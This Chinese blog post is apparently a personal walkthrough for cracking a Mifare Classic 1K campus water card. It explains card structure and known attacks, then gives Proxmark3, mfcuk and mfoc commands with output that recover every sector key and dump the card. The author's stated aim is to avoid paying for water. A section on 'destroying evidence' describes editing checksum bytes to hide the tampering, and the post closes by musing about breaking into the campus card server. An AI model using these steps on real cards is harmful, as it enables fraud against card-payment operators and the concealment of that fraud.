M1卡
详谈Mifare Classic 1K卡
为啥要写这个文章?天气闷热,内心烦躁,水卡莫得钱了,喝不上水,充卡的人也不来,怎么办?干就完了
0x01 什么是Mifare Classic 1k卡
Mifare Classic 1K卡简称M1卡,属于非接触式射频卡。而与射频卡进行通讯的技术,叫做近场通讯技术,简称NFC。
M1卡分为16个扇区,每个扇区对应4块(块0-块3),共64块,编号为0-63.第0扇区的第0块用于存放厂商代码,已经固化无法更改。其余区的第0-2块用于存放数据,块3为控制块用于存放密码A、存取控制、密码B,结构如下:
A0 A1 A2 A3 A4 A5 FF 07 80 69 B0 B1 B2 B3 B4 B5
(密码A 6字节) (存储控制 4字节) (密码B 6字节)
![](https://pic2.zhimg.com/80/v2-9beee63a2946a29e8d60fc57f29d1b71_720w.jpg)
并且每个扇区块3中的密码和存储控制全部都是独立的,独立控制本扇区的各种操作,每个扇区都能实现不同的功能,所以广泛用作一卡通。
卡中每个块包含16字节,所以M1卡的容量=16扇区*4块*16字节=1024字节=1k (M1卡的由来)。
卡片的第一扇区第一段,储存了一个全球唯一的UID,其他还有UID效验位和厂商信息,按规范生产的卡片,该段在出厂时会被写入保护,只能读取不能写入。当然另外还有一种特殊的UID卡,UID能被修改。
![](https://pic2.zhimg.com/80/v2-a4e4d8b0aebcb02a3cd325eae3d93099_720w.jpg)
0x02 准备工作
先判断手里的水卡类型,使用Mifare Classic Tool软件读取卡片信息,注意,手机需要支持nfc
家里的备用机魅族Mx4 Pro(魅族旗舰不咋给力了)可以看到卡的型号为Mifare Classic 1K ,由恩智浦半导体公司(NXP)制造
这个工具表面上看起来很强大但实际操作起来并不是那样,除了读一个UID其余的几乎什么都有木有,自带的字典也很鸡肋。
破解原理:
1)暴力破解:
暴力破解是最简单粗暴、不需要多少技术含量的,就是比较费时,但这并不妨碍大家对它喜爱之情。因为M1是被动卡,需要读卡器为之供能,一旦读卡器切断电源,卡中临时数据就会丢失,所以无论试错多少次密码都不会被锁定。特别是一些厂商偷懒用弱密码,花不了多少时间就能破解。
2)克隆卡片:
这算是最简单又实用的方法了。因为M1卡加密扇区里面保存着各种数据,所以可以克隆一张带有同样数据的克隆卡。这就会用到一种叫UID卡的特殊M1模拟卡。前面说过,每张卡在0扇区的0块都会存放厂商代码,所以里面也保存了UID编号,是无法修改的。但是这种特殊的UID卡该区域没有设定保护,可以随意修改UID,因此可以制作一张与目标卡数据完全相同的克隆卡。
3)重放攻击:
重放攻击是基于M1卡的PRNG算法漏洞实现的。当读卡器读卡时就会产生随机序列,但卡本身不带电,所以每次断电后在重新连接,就会生成一模一样的序列,所以可能把这个序列算出来。只要控制好时间就能知道当卡获取能量后某一刻时间的随机序列,从而实现修改数据。
4)密钥窃听:
利用工具Promark 3可以嗅探M1卡(即便是全加密卡)在和读卡器进行数据交换时的数据,然后利用XOR工具就能把扇区密钥算出来。
5)验证漏洞:
当读卡器读卡的扇区时,卡会发一个随机序列给读卡器,读卡器收到序列后会利用自身算法加密该随机序列再反馈给卡,卡片接收后再用自己算法计算,如果结果一致就认为该读卡器是合法授权的,然后开始进行数据传输。这就产生了问题:当读卡器访问另一个扇区时,又会重复上述步骤,而此时卡片与读卡器之间的数据交换已被算法加密过,而这个算法又是由扇区密钥决定,因此就会导致这个密钥泄露。
0x03 ACR122U工具
工具:ACR122U(tb有的还自带软件)
没错就是这个玩意商家附赠的软件:
![](https://pic1.zhimg.com/80/v2-40422363aa3a79a13f8eaf2e9a45f9a4_720w.jpg)
![](https://pic3.zhimg.com/80/v2-d8ed40e2eedaa41a7ff41d4e3ca12b2a_720w.jpg)
电脑连接ACR122U,打开验证漏洞破解软件尝试使用默认密码破解,如破解成功将会在软件所在目录生产.dump文件。
![](https://pic1.zhimg.com/80/v2-7f078d39f3dfe9469744c4025f1e390c_720w.jpg)
如果出现”没有找到用默认密码加密的扇区,退出“说明卡片为全加密,所有扇区的加密密码都不是默认密码
用UltraEdit或者WinHex和TTHexEdit之类的十六进制编辑器打开,就可以看到Dump文件的数据了,便算大功告成了。
![](https://pic4.zhimg.com/80/v2-6714b98eda0e0abc204666947664f9fb_720w.jpg)
接下来写入或克隆就欧克拉
nested authentication 验证漏洞原理简介
因为攻击原理决定这种方法只适合特定情况下的破解。这种攻击是在已知16个扇区任意一个扇区的密钥之后,可以获得其他未知扇区的密钥。前面说过16个扇区是独立,那为什么通过某个扇区还能获取到其他扇区的密钥?这与卡片和读卡器之间的交互通讯方式有关。
第一次验证时,读卡器首先验证第0扇区密钥,卡片给读卡器发送一个明文随机数n1。读卡器内部用加密算法加密n1,同时产生一个密文随机数n2发送给卡片,卡片用自己的密钥解密n2,如果解密出来的数和之前发送给读卡器的随机数n1相同,则通过验证,之后的通讯都会加密传输。
第一次的传输为明文,之后的都为加密传输。并且在验证的过程中,是卡片先主动发送随机数给读卡器。如果读卡器用错误的密码加密发送给卡片,卡片解密错误,则验证中断,也就没有之后的加密传输。所以我们至少需要知道一个扇区的密钥,利用这个扇区验证。之后其他扇区的通讯密文包含了这个扇区的密钥信息,再通过验证漏洞软件解出密文中的密钥,进而得到所有扇区的密钥。
darkside 攻击原理简介
如果卡片不存在默认密钥,则验证漏洞攻击行不通。前面说到破解的关键是让卡片发送加密数据,再通过算法解出密钥,所以需要欺骗卡片发出加密数据。经过研究人员大量的测试后发现卡片算法中存在漏洞,当读卡器发出的密文中某8bit数据正确时,读卡器就会回复一个4bit的密文,而这个密文就包含了密钥的信息,再通过解密算法即可解出密钥。如果一个扇区的密钥被解出,就可以用nested authentication 验证漏洞破解出其他扇区的密钥。
mfcuk就是基于darkside原理攻击全加密卡的程序。mfcuk是在linux平台下的程序,windows平台下没有原生的支持,有的都是个人编译的exe软件。
0x04 Proxmark3工具
工具:Proxmark3工具(较贵,国外大部分教程都是此工具)
在使用proxmark3对M1卡进行破解时 ,我们可以使用hf mf mifare命令去探测基于PRNG的漏洞出现的Key 。
例如:
![](https://pic4.zhimg.com/80/v2-648c45ea76bc886f20e40ec90b6b1013_720w.jpg)
然后使用hf mf nested 1 0 A FFFFFFFFFFFF 去探测各个扇区的密码,例如:
![](https://pic4.zhimg.com/80/v2-dcb98b3aa4524192c1d5cd0a16c661cf_720w.jpg)
跑一会便会得到如下key表
![](https://pic2.zhimg.com/80/v2-01ea86d0b1be3b4e2e994ecaf022d889_720w.jpg)
用[size=1em]hf mf rdsc 1 a 1866c42fe6a8
来读取第一扇区数据:
同样的用 hf mf rdsc 2 b 1866c42fe6a8
读取第二扇区数据,这里为什么用B密码是有原因的(因为控制位设置的问题 )。
依次读取16个扇区即可。 然后一一对比看看哪个变化了,如何变化。
0x05 Kali Linux
啊,终于该用到我尘封已久的Kali了,Vmware,打开
kali可是好东西,嘻嘻。包含了很多安全测试工具,其中关于NFC的就有NFC-MFOC,NFC-MFUCK和NFC-MFCclassic等工具
mfuck:Github
libnfc:Github
脚本地址:https://pan.baidu.com/s/1_IpkzJU1BC2hT2Lq8xS0Fw提取码4027
在下载的文件目录下执行:
sh 2183000857.txt
测试一下
root@kali:~# nfc-list
nfc-list uses libnfc 1.7.0-rc7
NFC device: ACS / ACR122U PICC Interface opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
UID (NFCID1): e1 cd 82 61
SAK (SEL_RES): 08
这里面包含了读卡器型号和卡片UID等信息
尝试用mfuck进行darkside破解
root@kali:~# mfcuk -C -R 0 -s 250 -S 250
mfcuk - 0.3.8
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, zveriu@gmail.com, http://andreicostin.com
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd'
INFO: Connected to NFC reader: ACS / ACR122U PICC Interface
VERIFY:
Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
RECOVER: 0
温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> 0080bb043614 <---------此为密码;
温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> 36519da2c2c6 <---------此为密码;
温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> 1c5d13000026 <---------此为密码;
温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> c5af46000026 <---------此为密码;
温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> c5af46000026 <---------此为密码;
温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> 36519d000026 <---------此为密码;
温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> fedcba000026 <---------此为密码;
温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> fedcba000026 <---------此为密码;
温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 ---------> fedcba000026 <---------此为密码;
mfcuk -C -R 0 -s 250 -S 250命令表示尝试恢复第0扇区的密钥,250表示延时250ms。密钥fedcba000026出现了很多次,这就是其中一个扇区的密钥。知道密钥就可使用mfoc程序进行验证漏洞攻击。
注:上面出现的错误和警告不影响最终结果。密钥使用方法:
root@kali:~# mfoc -k fedcba000026 -O mycard.mfd
The custom key 0xfedcba000026 has been added to the default keys
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
* UID size: single
* bit frame anticollision supported
UID (NFCID1): 92 cc 1d 04
SAK (SEL_RES): 08
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092
Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:
Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: fedcba000026] -> [xxxxxxxxxxxxxxxx]
[Key: ffffffffffff] -> [xxxxxxxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [xxxxxxxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [xxxxxxxxxxxxxxxx]
[Key: 000000000000] -> [xxxxxxxxxxxxxxxx]
[Key: b0b1b2b3b4b5] -> [xxxxxxxxxxxxxxxx]
[Key: 4d3a99c351dd] -> [xxxxxxxxxxxxxxxx]
[Key: 1a982c7e459a] -> [xxxxxxxxxxxxxxxx]
[Key: aabbccddeeff] -> [xxxxxxxxxxxxxxxx]
[Key: 714c5c886e97] -> [xxxxxxxxxxxxxxxx]
[Key: 587ee5f9350f] -> [xxxxxxxxxxxxxxxx]
[Key: a0478cc39091] -> [xxxxxxxxxxxxxxxx]
[Key: 533cb6c723f6] -> [xxxxxxxxxxxxxxxx]
[Key: 8fd0a4f256e9] -> [xxxxxxxxxxxxxxxx]
Sector 00 - FOUND_KEY [A] Sector 00 - FOUND_KEY [B]
Sector 01 - FOUND_KEY [A] Sector 01 - FOUND_KEY [B]
Sector 02 - FOUND_KEY [A] Sector 02 - FOUND_KEY [B]
Sector 03 - FOUND_KEY [A] Sector 03 - FOUND_KEY [B]
Sector 04 - FOUND_KEY [A] Sector 04 - FOUND_KEY [B]
Sector 05 - FOUND_KEY [A] Sector 05 - FOUND_KEY [B]
Sector 06 - FOUND_KEY [A] Sector 06 - FOUND_KEY [B]
Sector 07 - FOUND_KEY [A] Sector 07 - FOUND_KEY [B]
Sector 08 - FOUND_KEY [A] Sector 08 - FOUND_KEY [B]
Sector 09 - FOUND_KEY [A] Sector 09 - FOUND_KEY [B]
Sector 10 - FOUND_KEY [A] Sector 10 - FOUND_KEY [B]
Sector 11 - FOUND_KEY [A] Sector 11 - FOUND_KEY [B]
Sector 12 - FOUND_KEY [A] Sector 12 - FOUND_KEY [B]
Sector 13 - FOUND_KEY [A] Sector 13 - FOUND_KEY [B]
Sector 14 - FOUND_KEY [A] Sector 14 - FOUND_KEY [B]
Sector 15 - FOUND_KEY [A] Sector 15 - FOUND_KEY [B]
We have all sectors encrypted with the default keys..
Auth with all sectors succeeded, dumping keys to a file!
Block 63, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 62, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 61, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 60, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 59, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 58, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 57, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 56, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 55, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 54, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
很长很长很长
mfoc -k fedcba000026 -O mycard.mfd -k表示key——即fedcba000026,-O(大写的o)表示output,mycard.mfd表示从卡片中下载数据后储存的文件。
当然,也可使用mfoc程序的mfoc -O test.mfd命令直接进行默认密钥的验证漏洞破解,就是前面在windows平台第一次尝试的破解方法。从上面输出结果可以看到所有扇区的密钥已被解出,并且卡片中存储的数据也被下载并保存为mycard.mfd。
0x06 毁尸灭迹
破解是破解完了,但是怕机器自带日志记录啊,,把我卡记录下来岂不是完蛋了?
将未修改的卡和我的进行对比,发现我的1扇区有数据别人的都没有。。
果断清空,上机测试没有问题
还有5扇区的不太相同,我似乎发现了什么
除了开头的FA5C 0000 05AC FFFF和对照卡不一样之外,其他数据都相同。接着试试除了这8字节的开头保留,其余清零,在饮水机上测试,一切正常,回来再次读卡的时候又重新生成了一样的数据,可以排除影响。
接着将这8字节开头清零,拿去饮水机消费,发现提示Error,看来的确是一个校验,我们必须保证对数据的敏感,可以看到0000和FFFF,两个值恰好是取反了一次,那FA5C和05A3是不是也一样?FA5C转成二进制是1111101001011100,05A3转成二进制是0000010110100011,结果很清楚,两个值是互相取反保存,那我将它修改成0000和FFFF,其余部分清零,拿去饮水机测试,一切正常。
为了保险起见,我将水卡无用的数据全部清零,用0000和FFFF代替取反的值,应该没有痕迹了吧??
0x07 尾记
修改数据后能使用的关键是卡片的数据和扣费机器处于离线状态,机器不能对比卡片的数据。像一卡通就是数据联网的卡片,并且本身也是安全级别非常高的CPU卡,任何消费和充值联网服务器都有记录。默默的看着手里的一卡通卡片,着东西可是难搞,不成还得渗透他的服务器?不成。不那么差钱。?